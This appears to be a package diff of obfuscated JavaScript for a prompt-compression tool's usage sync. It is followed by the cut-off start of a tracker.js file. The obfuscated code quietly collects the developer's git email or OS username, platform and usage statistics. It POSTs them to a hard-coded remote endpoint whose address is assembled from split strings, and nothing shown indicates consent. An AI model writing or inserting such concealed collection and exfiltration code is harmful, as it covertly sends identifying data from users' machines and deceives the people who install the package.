_0x8322c4=['Claude\x203.5\x20Sonnet','1851690kYyvPy','defineProperty','.trimprompt','push','getOwnPropertyDescriptor','https://','stats.json','tokens_saved','.raw.txt','timestamp','getTime','userInfo','protocol','9492561nUdaAi','join','default','ignore','URL','70GQBHNL','filter','toString','raw','destroy','toISOString','getOwnPropertyNames','http','writable','Claude\x203\x20Opus','catch','estimated_raw_tokens','comp','10UDAiRz','last_sync_date','write','writeFileSync','executions','claude-3-5-sonnet','platform','unlinkSync','utf8','265116QnWnJl','call','/api/telemetry','Gemini\x201.5\x20Flash','readFileSync','https:','count','map','error','slice','__esModule','56tjmtFd','round','2673940xfzyHD','trim','27qEufXI','.up.railway.app','synced','anonymous','__importStar','22006325nlQrHd','statusCode','request','estimated_compressed_tokens','prototype','length','config.json','end','includes','parse','username','get','73824ejbciG','daily_sync.json','toFixed','git\x20config\x20user.email','create','search','trimp-production','child_process','.comp.txt','path','existsSync','pathname','application/json','model_used','from','hasOwnProperty','stringify','split','sort','pipe','url','18898HFwcUa'];a0_0x2ec3=function(){return _0x8322c4;};return a0_0x2ec3();}var __createBinding=this&&this['__createBinding']||(Object[a0_0x4827da(0x12a)]?function(_0x3f52c4,_0x1de6e7,_0x56f5ed,_0x4a8b49){const _0x53b3c0=a0_0x4827da;if(_0x4a8b49===undefined)_0x4a8b49=_0x56f5ed;var _0x2a9758=Object[_0x53b3c0(0x141)](_0x1de6e7,_0x56f5ed);(!_0x2a9758||(_0x53b3c0(0x125)in _0x2a9758?!_0x1de6e7[_0x53b3c0(0x110)]:_0x2a9758[_0x53b3c0(0xf8)]||_0x2a9758['configurable']))&&(_0x2a9758={'enumerable':!![],'get':function(){return _0x1de6e7[_0x56f5ed];}}),Object['defineProperty'](_0x3f52c4,_0x4a8b49,_0x2a9758);}:function(_0x4475a8,_0x4a0f2e,_0x403ed2,_0x5935e6){if(_0x5935e6===undefined)_0x5935e6=_0x403ed2;_0x4475a8[_0x5935e6]=_0x4a0f2e[_0x403ed2];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object[a0_0x4827da(0x12a)]?function(_0x1449eb,_0x193878){const _0x2eb237=a0_0x4827da;Object[_0x2eb237(0x13e)](_0x1449eb,_0x2eb237(0xed),{'enumerable':!![],'value':_0x193878});}:function(_0xf19698,_0x46a6a6){const _0x23e715=a0_0x4827da;_0xf19698[_0x23e715(0xed)]=_0x46a6a6;}),__importStar=this&&this[a0_0x4827da(0x119)]||(function(){var _0x63b4f1=function(_0x396616){const _0x56814=a0_0x3c68;return _0x63b4f1=Object[_0x56814(0xf6)]||function(_0x44bbbe){const _0x41c972=_0x56814;var _0x439dc7=[];for(var _0x29fde9 in _0x44bbbe)if(Object[_0x41c972(0x11e)][_0x41c972(0x135)][_0x41c972(0x107)](_0x44bbbe,_0x29fde9))_0x439dc7[_0x439dc7[_0x41c972(0x11f)]]=_0x29fde9;return _0x439dc7;},_0x63b4f1(_0x396616);};return function(_0xb913f8){const _0x1cae2f=a0_0x3c68;if(_0xb913f8&&_0xb913f8[_0x1cae2f(0x110)])return _0xb913f8;var _0x599a48={};if(_0xb913f8!=null){for(var _0x2ebba8=_0x63b4f1(_0xb913f8),_0x1776c8=0x0;_0x1776c8<_0x2ebba8[_0x1cae2f(0x11f)];_0x1776c8++)if(_0x2ebba8[_0x1776c8]!==_0x1cae2f(0xed))__createBinding(_0x599a48,_0xb913f8,_0x2ebba8[_0x1776c8]);}return __setModuleDefault(_0x599a48,_0xb913f8),_0x599a48;};}());Object[a0_0x4827da(0x13e)](exports,'__esModule',{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require(a0_0x4827da(0x12f))),os=__importStar(require('os')),http=__importStar(require(a0_0x4827da(0xf7))),https=__importStar(require('https')),url_1=require(a0_0x4827da(0x13a)),_cfg=[a0_0x4827da(0x142),a0_0x4827da(0x12c),a0_0x4827da(0x116),a0_0x4827da(0x108)][a0_0x4827da(0xec)](''),_ep=process.env._PS_EP||_cfg,PRICING={'claude-3-5-sonnet':{'name':a0_0x4827da(0x13c),'input_price_1m':0x3},'claude-3-opus':{'name':a0_0x4827da(0xf9),'input_price_1m':0xf},'gpt-4o':{'name':'GPT-4o','input_price_1m':0x5},'gpt-4o-mini':{'name':'GPT-4o\x20Mini','input_price_1m':0.15},'gemini-1-5-pro':{'name':'Gemini\x201.5\x20Pro','input_price_1m':1.25},'gemini-1-5-flash':{'name':a0_0x4827da(0x109),'input_price_1m':0.075}},baseDir=path[a0_0x4827da(0xec)](os['homedir'](),a0_0x4827da(0x13f)),configPath=path[a0_0x4827da(0xec)](baseDir,a0_0x4827da(0x120)),statsPath=path[a0_0x4827da(0xec)](baseDir,a0_0x4827da(0x143)),dailySyncPath=path['join'](baseDir,a0_0x4827da(0x127));function getTodayDate(){const _0x3c9535=a0_0x4827da;return new Date()['toISOString']()[_0x3c9535(0x137)]('T')[0x0];}function getDeveloperIdentity(){const _0x5046bc=a0_0x4827da;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x3348da}=require(_0x5046bc(0x12d)),_0x549b1e=_0x3348da(_0x5046bc(0x129),{'stdio':[_0x5046bc(0xee),_0x5046bc(0x139),_0x5046bc(0xee)]})[_0x5046bc(0xf2)]()['trim']();if(_0x549b1e&&_0x549b1e[_0x5046bc(0x122)]('@'))return _0x549b1e;}catch{}try{const _0x34f252=os[_0x5046bc(0x148)]()[_0x5046bc(0x124)];if(_0x34f252)return _0x34f252;}catch{}return _0x5046bc(0x118);}function hasAlreadySyncedToday(){const _0x23ee40=a0_0x4827da;try{if(!fs[_0x23ee40(0x130)](dailySyncPath))return![];const _0x15c489=JSON[_0x23ee40(0x123)](fs[_0x23ee40(0x10a)](dailySyncPath,_0x23ee40(0x105)));return _0x15c489[_0x23ee40(0xfe)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x44f696=a0_0x4827da;try{const _0x2bee6e={'last_sync_date':getTodayDate()};fs[_0x44f696(0x100)](dailySyncPath,JSON[_0x44f696(0x136)](_0x2bee6e,null,0x2),_0x44f696(0x105));}catch{}}function a0_0x3c68(_0x24cb6f,_0x2037d0){_0x24cb6f=_0x24cb6f-0xec;const _0x2ec33d=a0_0x2ec3();let _0x3c6831=_0x2ec33d[_0x24cb6f];return _0x3c6831;}function postTelemetry(_0x286e50,_0x519624){return new Promise(_0x46c385=>{const _0x53ee83=a0_0x3c68;try{const _0x8ac4d8=new url_1[(_0x53ee83(0xef))](_0x286e50),_0x59e6bb=JSON[_0x53ee83(0x136)](_0x519624),_0x9e56fb={'hostname':_0x8ac4d8['hostname'],'port':_0x8ac4d8['port']||(_0x8ac4d8[_0x53ee83(0x149)]==='https:'?0x1bb:0x50),'path':_0x8ac4d8[_0x53ee83(0x131)]+_0x8ac4d8[_0x53ee83(0x12b)],'method':'POST','headers':{'Content-Type':_0x53ee83(0x132),'Content-Length':Buffer['byteLength'](_0x59e6bb)},'timeout':0x1f40},_0x1c7979=_0x8ac4d8[_0x53ee83(0x149)]===_0x53ee83(0x10b)?https:http,_0x7953ed=_0x1c7979[_0x53ee83(0x11c)](_0x9e56fb,_0x2a0900=>{const _0x4cd0b0=_0x53ee83;_0x46c385(!!(_0x2a0900[_0x4cd0b0(0x11b)]&&_0x2a0900[_0x4cd0b0(0x11b)]>=0xc8&&_0x2a0900[_0x4cd0b0(0x11b)]<0x12c));});_0x7953ed['on'](_0x53ee83(0x10e),()=>_0x46c385(![])),_0x7953ed['on']('timeout',()=>{const _0x37ff44=_0x53ee83;_0x7953ed[_0x37ff44(0xf4)](),_0x46c385(![]);}),_0x7953ed[_0x53ee83(0xff)](_0x59e6bb),_0x7953ed[_0x53ee83(0x121)]();}catch{_0x46c385(![]);}});}function buildDailyPayload(_0x539a32){const _0x30891d=a0_0x4827da,_0x52a798=getTodayDate(),_0x18ec6c=_0x539a32[_0x30891d(0xf1)](_0x4b89cd=>_0x4b89cd['timestamp']['startsWith'](_0x52a798)),_0x1df0d3=_0x18ec6c[_0x30891d(0x11f)]>0x0?_0x18ec6c:_0x539a32,_0x1a9466=_0x1df0d3[_0x30891d(0xf1)](_0xa6af8a=>_0xa6af8a['ai_detected']!==![]);let _0x43243c=0x0,_0x4ae7f6=0x0,_0x4e3eba=0x0,_0x3f5fce=0x0;const _0x49553e=new Set(),_0xda620e={};for(const _0x4c90ec of _0x1a9466){_0x43243c+=_0x4c90ec[_0x30891d(0xfb)],_0x4ae7f6+=_0x4c90ec[_0x30891d(0x11d)],_0x4e3eba+=_0x4c90ec['tokens_saved'],_0x49553e['add'](_0x4c90ec[_0x30891d(0x133)]);const _0x4fb3e9=PRICING[_0x4c90ec[_0x30891d(0x133)]]||PRICING[_0x30891d(0x102)];_0x3f5fce+=_0x4c90ec[_0x30891d(0x144)]*_0x4fb3e9['input_price_1m']/0xf4240;const _0x60d46c=_0x4c90ec['command']||'unknown';if(!_0xda620e[_0x60d46c])_0xda620e[_0x60d46c]={'raw':0x0,'comp':0x0,'count':0x0};_0xda620e[_0x60d46c][_0x30891d(0xf3)]+=_0x4c90ec[_0x30891d(0xfb)],_0xda620e[_0x60d46c][_0x30891d(0xfc)]+=_0x4c90ec[_0x30891d(0x11d)],_0xda620e[_0x60d46c][_0x30891d(0x10c)]+=0x1;}const _0x5833d0=Object['entries'](_0xda620e)[_0x30891d(0x10d)](([_0x39b324,_0x4021e0])=>({'command':_0x39b324,'percentage':_0x4021e0[_0x30891d(0xf3)]>0x0?Math[_0x30891d(0x112)]((_0x4021e0[_0x30891d(0xf3)]-_0x4021e0[_0x30891d(0xfc)])/_0x4021e0[_0x30891d(0xf3)]*0x64):0x0,'executions':_0x4021e0[_0x30891d(0x10c)]}))[_0x30891d(0x138)]((_0x5bb866,_0x2c3fae)=>_0x2c3fae[_0x30891d(0x101)]-_0x5bb866[_0x30891d(0x101)])[_0x30891d(0x10f)](0x0,0xa),_0x1b16fa=_0x1a9466[_0x1a9466[_0x30891d(0x11f)]-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0x30891d(0x103)](),'date':_0x52a798,'executions_count':_0x1a9466['length'],'total_raw_tokens':_0x43243c,'total_compressed_tokens':_0x4ae7f6,'total_tokens_saved':_0x4e3eba,'total_money_saved_usd':parseFloat(_0x3f5fce[_0x30891d(0x128)](0x6)),'models_used':Array[_0x30891d(0x134)](_0x49553e),'hotspots':_0x5833d0,'last_seen':_0x1b16fa?_0x1b16fa[_0x30891d(0x146)]:new Date()[_0x30891d(0xf5)]()};}async function runSync(){const _0x3d4c4d=a0_0x4827da;if(!fs[_0x3d4c4d(0x130)](statsPath))return;if(hasAlreadySyncedToday())return;let _0x4c1460;try{_0x4c1460=JSON['parse'](fs[_0x3d4c4d(0x10a)](statsPath,_0x3d4c4d(0x105)));}catch{return;}const _0x37236a=_0x4c1460[_0x3d4c4d(0xf1)](_0x3a4c54=>!_0x3a4c54['synced']);if(_0x37236a[_0x3d4c4d(0x11f)]===0x0)return;const _0x2e2b1a=buildDailyPayload(_0x4c1460);await postTelemetry(_ep,_0x2e2b1a);let _0x2ca39f=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0x2ca39f&&fs[_0x3d4c4d(0x130)](configPath))try{const _0x4c047e=JSON[_0x3d4c4d(0x123)](fs[_0x3d4c4d(0x10a)](configPath,'utf8'));_0x2ca39f=_0x4c047e['telemetry_url']||'';}catch{}_0x2ca39f[_0x3d4c4d(0x114)]()[_0x3d4c4d(0x11f)]>0x0&&await postTelemetry(_0x2ca39f,_0x2e2b1a);for(const _0x346067 of _0x4c1460){if(!_0x346067[_0x3d4c4d(0x117)])_0x346067[_0x3d4c4d(0x117)]=!![];}try{fs[_0x3d4c4d(0x100)](statsPath,JSON[_0x3d4c4d(0x136)](_0x4c1460,null,0x2),_0x3d4c4d(0x105));}catch{}markSyncedToday();}function pruneOldLogs(_0x499275){const _0x444f6a=a0_0x4827da;try{const _0x1c8772=new Date(),_0x2feb78=new Date(_0x1c8772[_0x444f6a(0x147)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x1e3bd6=[],_0x1a6c6b=[];for(const _0x109ae0 of _0x499275){const _0x58e6f0=new Date(_0x109ae0[_0x444f6a(0x146)]);_0x58e6f0>=_0x2feb78?_0x1e3bd6[_0x444f6a(0x140)](_0x109ae0):_0x1a6c6b[_0x444f6a(0x140)](_0x109ae0);}if(_0x1a6c6b[_0x444f6a(0x11f)]>0x0){const _0x1a846d=path[_0x444f6a(0xec)](baseDir,'logs');for(const _0x41137b of _0x1a6c6b){const _0x50f733=path[_0x444f6a(0xec)](_0x1a846d,_0x41137b['id']+_0x444f6a(0x145)),_0x9121fb=path[_0x444f6a(0xec)](_0x1a846d,_0x41137b['id']+_0x444f6a(0x12e));try{if(fs[_0x444f6a(0x130)](_0x50f733))fs[_0x444f6a(0x104)](_0x50f733);if(fs[_0x444f6a(0x130)](_0x9121fb))fs[_0x444f6a(0x104)](_0x9121fb);}catch{}}fs[_0x444f6a(0x100)](statsPath,JSON['stringify'](_0x1e3bd6,null,0x2),_0x444f6a(0x105));}}catch{}}runSync()[a0_0x4827da(0xfa)](()=>{});
|
|
1
|
+
'use strict';const a0_0x5df22c=a0_0x57e8;(function(_0xaa095c,_0x55b401){const _0x43c964=a0_0x57e8,_0x2830b6=_0xaa095c();while(!![]){try{const _0x1f99fb=-parseInt(_0x43c964(0xc7))/0x1+parseInt(_0x43c964(0xfa))/0x2*(parseInt(_0x43c964(0xb9))/0x3)+-parseInt(_0x43c964(0x10c))/0x4*(parseInt(_0x43c964(0xc2))/0x5)+-parseInt(_0x43c964(0x115))/0x6*(parseInt(_0x43c964(0xc1))/0x7)+parseInt(_0x43c964(0xca))/0x8*(-parseInt(_0x43c964(0xcc))/0x9)+-parseInt(_0x43c964(0x106))/0xa+parseInt(_0x43c964(0xbc))/0xb*(parseInt(_0x43c964(0x10d))/0xc);if(_0x1f99fb===_0x55b401)break;else _0x2830b6['push'](_0x2830b6['shift']());}catch(_0x2abb6c){_0x2830b6['push'](_0x2830b6['shift']());}}}(a0_0x3031,0xe5831));function a0_0x57e8(_0x54771b,_0x1d1ef4){const _0x303127=a0_0x3031();return a0_0x57e8=function(_0x57e82e,_0x356fdd){_0x57e82e=_0x57e82e-0xb2;let _0x147c52=_0x303127[_0x57e82e];return _0x147c52;},a0_0x57e8(_0x54771b,_0x1d1ef4);}var __createBinding=this&&this['__createBinding']||(Object[a0_0x5df22c(0xbe)]?function(_0xa6db50,_0x40206d,_0x4de9f1,_0x53988e){const _0x3bea66=a0_0x5df22c;if(_0x53988e===undefined)_0x53988e=_0x4de9f1;var _0x55b181=Object[_0x3bea66(0xfb)](_0x40206d,_0x4de9f1);(!_0x55b181||('get'in _0x55b181?!_0x40206d[_0x3bea66(0xf3)]:_0x55b181[_0x3bea66(0xbf)]||_0x55b181[_0x3bea66(0xf8)]))&&(_0x55b181={'enumerable':!![],'get':function(){return _0x40206d[_0x4de9f1];}}),Object['defineProperty'](_0xa6db50,_0x53988e,_0x55b181);}:function(_0x5230ab,_0x358c99,_0x543281,_0x56a08c){if(_0x56a08c===undefined)_0x56a08c=_0x543281;_0x5230ab[_0x56a08c]=_0x358c99[_0x543281];}),__setModuleDefault=this&&this[a0_0x5df22c(0x108)]||(Object[a0_0x5df22c(0xbe)]?function(_0x454884,_0x43b1fb){const _0x35e189=a0_0x5df22c;Object['defineProperty'](_0x454884,_0x35e189(0xd6),{'enumerable':!![],'value':_0x43b1fb});}:function(_0x1a9aee,_0x3d9a68){const _0x24d861=a0_0x5df22c;_0x1a9aee[_0x24d861(0xd6)]=_0x3d9a68;}),__importStar=this&&this[a0_0x5df22c(0xe2)]||(function(){var _0x5a74e0=function(_0x256b12){const _0x27f11b=a0_0x57e8;return _0x5a74e0=Object[_0x27f11b(0xda)]||function(_0x3fab37){const _0x4441c6=_0x27f11b;var _0x3eeee9=[];for(var _0x29eca1 in _0x3fab37)if(Object[_0x4441c6(0xee)][_0x4441c6(0xe6)][_0x4441c6(0xf0)](_0x3fab37,_0x29eca1))_0x3eeee9[_0x3eeee9[_0x4441c6(0xc3)]]=_0x29eca1;return _0x3eeee9;},_0x5a74e0(_0x256b12);};return function(_0x4f0cb7){const _0x7798e0=a0_0x57e8;if(_0x4f0cb7&&_0x4f0cb7[_0x7798e0(0xf3)])return _0x4f0cb7;var _0x21e803={};if(_0x4f0cb7!=null){for(var _0x547907=_0x5a74e0(_0x4f0cb7),_0x217144=0x0;_0x217144<_0x547907[_0x7798e0(0xc3)];_0x217144++)if(_0x547907[_0x217144]!==_0x7798e0(0xd6))__createBinding(_0x21e803,_0x4f0cb7,_0x547907[_0x217144]);}return __setModuleDefault(_0x21e803,_0x4f0cb7),_0x21e803;};}());Object[a0_0x5df22c(0xc4)](exports,a0_0x5df22c(0xf3),{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require(a0_0x5df22c(0xc0))),os=__importStar(require('os')),http=__importStar(require('http')),https=__importStar(require(a0_0x5df22c(0xea))),url_1=require(a0_0x5df22c(0xf9)),_cfg=[a0_0x5df22c(0xf1),a0_0x5df22c(0xfc),'.up.railway.app',a0_0x5df22c(0xe3)]['join'](''),_ep=process[a0_0x5df22c(0xf6)][a0_0x5df22c(0xd4)]||_cfg;function hasSyncedRecently(){const _0x331249=a0_0x5df22c;try{if(!fs[_0x331249(0xdc)](dailySyncPath))return![];const _0x30aa68=JSON[_0x331249(0x107)](fs['readFileSync'](dailySyncPath,_0x331249(0xb2)));if(!_0x30aa68[_0x331249(0xd2)])return![];return Date[_0x331249(0x10e)]()-_0x30aa68[_0x331249(0xd2)]<0x8*0x3c*0x3c*0x3e8;}catch{return![];}}function markSyncedNow(){const _0x15772d=a0_0x5df22c;try{const _0x318554={'last_sync_date':getTodayDate(),'last_sync_time':Date[_0x15772d(0x10e)]()};fs['writeFileSync'](dailySyncPath,JSON['stringify'](_0x318554,null,0x2),_0x15772d(0xb2));}catch{}}const PRICING={'claude-3-5-sonnet':{'name':a0_0x5df22c(0xd5),'input_price_1m':0x3},'claude-3-opus':{'name':a0_0x5df22c(0xe4),'input_price_1m':0xf},'gpt-4o':{'name':a0_0x5df22c(0xeb),'input_price_1m':0x5},'gpt-4o-mini':{'name':a0_0x5df22c(0x103),'input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x5df22c(0x110),'input_price_1m':1.25},'gemini-1-5-flash':{'name':a0_0x5df22c(0x112),'input_price_1m':0.075}},baseDir=path[a0_0x5df22c(0xfd)](os['homedir'](),a0_0x5df22c(0x100)),configPath=path['join'](baseDir,a0_0x5df22c(0xcd)),statsPath=path[a0_0x5df22c(0xfd)](baseDir,a0_0x5df22c(0x105)),dailySyncPath=path['join'](baseDir,a0_0x5df22c(0xf7));function getTodayDate(){const _0x8a3798=a0_0x5df22c;return new Date()[_0x8a3798(0x109)]()[_0x8a3798(0xb4)]('T')[0x0];}function getDeveloperIdentity(){const _0x4a82d7=a0_0x5df22c;if(process['env'][_0x4a82d7(0x104)])return process[_0x4a82d7(0xf6)]['TRIMPROMPT_USER_EMAIL'];try{const {execSync:_0x2773d2}=require(_0x4a82d7(0xc9)),_0xc140a8=_0x2773d2('git\x20config\x20user.email',{'stdio':[_0x4a82d7(0xe8),'pipe',_0x4a82d7(0xe8)]})['toString']()[_0x4a82d7(0xe0)]();if(_0xc140a8&&_0xc140a8[_0x4a82d7(0xdf)]('@'))return _0xc140a8;}catch{}try{const _0x308e9b=os['userInfo']()[_0x4a82d7(0x113)];if(_0x308e9b)return _0x308e9b;}catch{}return _0x4a82d7(0xf2);}function a0_0x3031(){const _0x1c1551=['toISOString','conv:','end','4cpVCLt','168jGOhxF','now','protocol','Gemini\x201.5\x20Pro','byteLength','Gemini\x201.5\x20Flash','username','estimated_raw_tokens','292062GRYyhh','claude-3-5-sonnet','port','replace','utf8','stringify','split','model_used','platform','.raw.txt','features','1315995ysubyO','add','estimated_compressed_tokens','4689817SXZHJK','find','create','writable','path','126NpmLBQ','9181735drGWWY','length','defineProperty','conv_','writeFileSync','855166wkBaqN','last_sync_date','child_process','7799864HmCzfO','error','9USsIMK','config.json','timestamp','filter','command','search','last_sync_time','live-conv','_PS_EP','Claude\x203.5\x20Sonnet','default','from','values','write','getOwnPropertyNames','telemetry_url','existsSync','startsWith','destroy','includes','trim','input_price_1m','__importStar','/api/telemetry','Claude\x203\x20Opus','push','hasOwnProperty','application/json','ignore','timeout','https','GPT-4o','statusCode','catch','prototype','some','call','https://','anonymous','__esModule','readFileSync','https:','env','daily_sync.json','configurable','url','4SMlHlR','getOwnPropertyDescriptor','trimp-production','join','synced','unlinkSync','.trimprompt','.comp.txt','tokens_saved','GPT-4o\x20Mini','TRIMPROMPT_USER_EMAIL','stats.json','13634250WZSVeE','parse','__setModuleDefault'];a0_0x3031=function(){return _0x1c1551;};return a0_0x3031();}function hasAlreadySyncedToday(){const _0x37c13d=a0_0x5df22c;try{if(!fs['existsSync'](dailySyncPath))return![];const _0x89697f=JSON[_0x37c13d(0x107)](fs[_0x37c13d(0xf4)](dailySyncPath,_0x37c13d(0xb2)));return _0x89697f[_0x37c13d(0xc8)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x197922=a0_0x5df22c;try{const _0x567382={'last_sync_date':getTodayDate()};fs[_0x197922(0xc6)](dailySyncPath,JSON[_0x197922(0xb3)](_0x567382,null,0x2),'utf8');}catch{}}function postTelemetry(_0x23821f,_0x5a3b6a){return new Promise(_0x655896=>{const _0x377ab6=a0_0x57e8;try{const _0x23ffa2=new url_1['URL'](_0x23821f),_0x57da0d=JSON['stringify'](_0x5a3b6a),_0x2a6fae={'hostname':_0x23ffa2['hostname'],'port':_0x23ffa2[_0x377ab6(0x117)]||(_0x23ffa2[_0x377ab6(0x10f)]===_0x377ab6(0xf5)?0x1bb:0x50),'path':_0x23ffa2['pathname']+_0x23ffa2[_0x377ab6(0xd1)],'method':'POST','headers':{'Content-Type':_0x377ab6(0xe7),'Content-Length':Buffer[_0x377ab6(0x111)](_0x57da0d)},'timeout':0x1f40},_0x39099a=_0x23ffa2[_0x377ab6(0x10f)]===_0x377ab6(0xf5)?https:http,_0x3393f6=_0x39099a['request'](_0x2a6fae,_0xa29c66=>{const _0x465adb=_0x377ab6;_0x655896(!!(_0xa29c66[_0x465adb(0xec)]&&_0xa29c66['statusCode']>=0xc8&&_0xa29c66[_0x465adb(0xec)]<0x12c));});_0x3393f6['on'](_0x377ab6(0xcb),()=>_0x655896(![])),_0x3393f6['on'](_0x377ab6(0xe9),()=>{const _0x2f1dc0=_0x377ab6;_0x3393f6[_0x2f1dc0(0xde)](),_0x655896(![]);}),_0x3393f6[_0x377ab6(0xd9)](_0x57da0d),_0x3393f6[_0x377ab6(0x10b)]();}catch{_0x655896(![]);}});}function buildDailyPayload(_0x5794d2){const _0x42fa5=a0_0x5df22c,_0x5d741=getTodayDate(),_0x5dbf53=_0x5794d2[_0x42fa5(0xcf)](_0x574859=>_0x574859[_0x42fa5(0xce)][_0x42fa5(0xdd)](_0x5d741)),_0x446989=_0x5dbf53[_0x42fa5(0xc3)]>0x0?_0x5dbf53:_0x5794d2;let _0x3d9cbe=0x0,_0x3cbf63=0x0,_0xb5eb5c=0x0,_0x2f7465=0x0;const _0x1d2743=new Set(),_0x70d450={},_0x25bc6e=[];for(const _0x3fbd6e of _0x446989){const _0x1953ee=_0x3fbd6e[_0x42fa5(0xd0)]||'',_0x192e1e=_0x3fbd6e[_0x42fa5(0xb8)]||[],_0x3c6d9b=_0x1953ee[_0x42fa5(0xdd)](_0x42fa5(0x10a))||_0x192e1e['includes'](_0x42fa5(0xd3))||_0x192e1e[_0x42fa5(0xef)](_0x22adb9=>typeof _0x22adb9==='string'&&_0x22adb9[_0x42fa5(0xdd)](_0x42fa5(0xc5)));if(_0x3c6d9b){const _0x1ac3e7=_0x1953ee[_0x42fa5(0x118)]('conv:','')||_0x192e1e[_0x42fa5(0xbd)](_0x19d893=>typeof _0x19d893==='string'&&_0x19d893[_0x42fa5(0xdd)](_0x42fa5(0xc5)))?.[_0x42fa5(0x118)](_0x42fa5(0xc5),'')||'agent';_0x70d450[_0x1ac3e7]=_0x3fbd6e;}else _0x25bc6e[_0x42fa5(0xe5)](_0x3fbd6e);}for(const _0x316c87 of Object[_0x42fa5(0xd8)](_0x70d450)){_0x3d9cbe+=_0x316c87[_0x42fa5(0x114)],_0x3cbf63+=_0x316c87[_0x42fa5(0xbb)],_0xb5eb5c+=_0x316c87[_0x42fa5(0x102)],_0x1d2743[_0x42fa5(0xba)](_0x316c87[_0x42fa5(0xb5)]||'claude-3-5-sonnet');const _0x4f9067=PRICING[_0x316c87['model_used']]||PRICING[_0x42fa5(0x116)];_0x2f7465+=_0x316c87[_0x42fa5(0x102)]*_0x4f9067[_0x42fa5(0xe1)]/0xf4240;}for(const _0x12db81 of _0x25bc6e){_0x3d9cbe+=_0x12db81['estimated_raw_tokens'],_0x3cbf63+=_0x12db81['estimated_compressed_tokens'],_0xb5eb5c+=_0x12db81[_0x42fa5(0x102)],_0x1d2743['add'](_0x12db81[_0x42fa5(0xb5)]||_0x42fa5(0x116));const _0x66e61f=PRICING[_0x12db81['model_used']]||PRICING[_0x42fa5(0x116)];_0x2f7465+=_0x12db81['tokens_saved']*_0x66e61f[_0x42fa5(0xe1)]/0xf4240;}const _0x5a4350=_0x446989[_0x446989['length']-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0x42fa5(0xb6)](),'date':_0x5d741,'executions_count':_0x446989['length'],'total_raw_tokens':_0x3d9cbe,'total_compressed_tokens':_0x3cbf63,'total_tokens_saved':_0xb5eb5c,'total_money_saved_usd':parseFloat(_0x2f7465['toFixed'](0x6)),'models_used':Array[_0x42fa5(0xd7)](_0x1d2743),'hotspots':[],'last_seen':_0x5a4350?_0x5a4350[_0x42fa5(0xce)]:new Date()['toISOString']()};}async function runSync(){const _0x38e067=a0_0x5df22c;if(!fs['existsSync'](statsPath))return;let _0x152680;try{_0x152680=JSON[_0x38e067(0x107)](fs[_0x38e067(0xf4)](statsPath,_0x38e067(0xb2)));}catch{return;}const _0xe2ccb=_0x152680[_0x38e067(0xcf)](_0x5f36da=>!_0x5f36da['synced']);if(_0xe2ccb[_0x38e067(0xc3)]===0x0&&hasSyncedRecently())return;const _0x245648=buildDailyPayload(_0x152680);await postTelemetry(_ep,_0x245648);let _0x4c3a16=process[_0x38e067(0xf6)]['TRIMPROMPT_TELEMETRY_URL']||'';if(!_0x4c3a16&&fs[_0x38e067(0xdc)](configPath))try{const _0x1ddde3=JSON[_0x38e067(0x107)](fs['readFileSync'](configPath,_0x38e067(0xb2)));_0x4c3a16=_0x1ddde3[_0x38e067(0xdb)]||'';}catch{}_0x4c3a16['trim']()[_0x38e067(0xc3)]>0x0&&await postTelemetry(_0x4c3a16,_0x245648);for(const _0xeeac6c of _0x152680){if(!_0xeeac6c[_0x38e067(0xfe)])_0xeeac6c[_0x38e067(0xfe)]=!![];}try{fs[_0x38e067(0xc6)](statsPath,JSON[_0x38e067(0xb3)](_0x152680,null,0x2),_0x38e067(0xb2));}catch{}markSyncedNow();}function pruneOldLogs(_0x196cce){const _0x3fc373=a0_0x5df22c;try{const _0x179643=new Date(),_0x39279a=new Date(_0x179643['getTime']()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x45c783=[],_0x35b894=[];for(const _0x34ebef of _0x196cce){const _0x4c4b88=new Date(_0x34ebef['timestamp']);_0x4c4b88>=_0x39279a?_0x45c783[_0x3fc373(0xe5)](_0x34ebef):_0x35b894[_0x3fc373(0xe5)](_0x34ebef);}if(_0x35b894[_0x3fc373(0xc3)]>0x0){const _0xeb5aca=path['join'](baseDir,'logs');for(const _0x170b82 of _0x35b894){const _0x38fa1d=path['join'](_0xeb5aca,_0x170b82['id']+_0x3fc373(0xb7)),_0x523558=path[_0x3fc373(0xfd)](_0xeb5aca,_0x170b82['id']+_0x3fc373(0x101));try{if(fs[_0x3fc373(0xdc)](_0x38fa1d))fs[_0x3fc373(0xff)](_0x38fa1d);if(fs[_0x3fc373(0xdc)](_0x523558))fs[_0x3fc373(0xff)](_0x523558);}catch{}}fs[_0x3fc373(0xc6)](statsPath,JSON[_0x3fc373(0xb3)](_0x45c783,null,0x2),'utf8');}}catch{}}runSync()[a0_0x5df22c(0xed)](()=>{});
|
package/tracker.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const a0_0x3e8929=a0_0x1920;(function(_0x4edee0,_0x136f72){const _0x342f60=a0_0x1920,_0x225878=_0x4edee0();while(!![]){try{const _0x1a7f48=parseInt(_0x342f60(0xc5))/0x1*(-parseInt(_0x342f60(0x104))/0x2)+parseInt(_0x342f60(0x10f))/0x3+parseInt(_0x342f60(0xc6))/0x4*(parseInt(_0x342f60(0x140))/0x5)+parseInt(_0x342f60(0xea))/0x6*(-parseInt(_0x342f60(0x13a))/0x7)+-parseInt(_0x342f60(0x114))/0x8*(-parseInt(_0x342f60(0xc1))/0x9)+parseInt(_0x342f60(0xf3))/0xa*(parseInt(_0x342f60(0xae))/0xb)+-parseInt(_0x342f60(0xd0))/0xc*(-parseInt(_0x342f60(0xeb))/0xd);if(_0x1a7f48===_0x136f72)break;else _0x225878['push'](_0x225878['shift']());}catch(_0x1b38de){_0x225878['push'](_0x225878['shift']());}}}(a0_0x1f8c,0xda0a7));var __createBinding=this&&this[a0_0x3e8929(0xa8)]||(Object[a0_0x3e8929(0xa5)]?function(_0x22a16a,_0x32fe02,_0x5eed33,_0x2339ff){const _0x526811=a0_0x3e8929;if(_0x2339ff===undefined)_0x2339ff=_0x5eed33;var 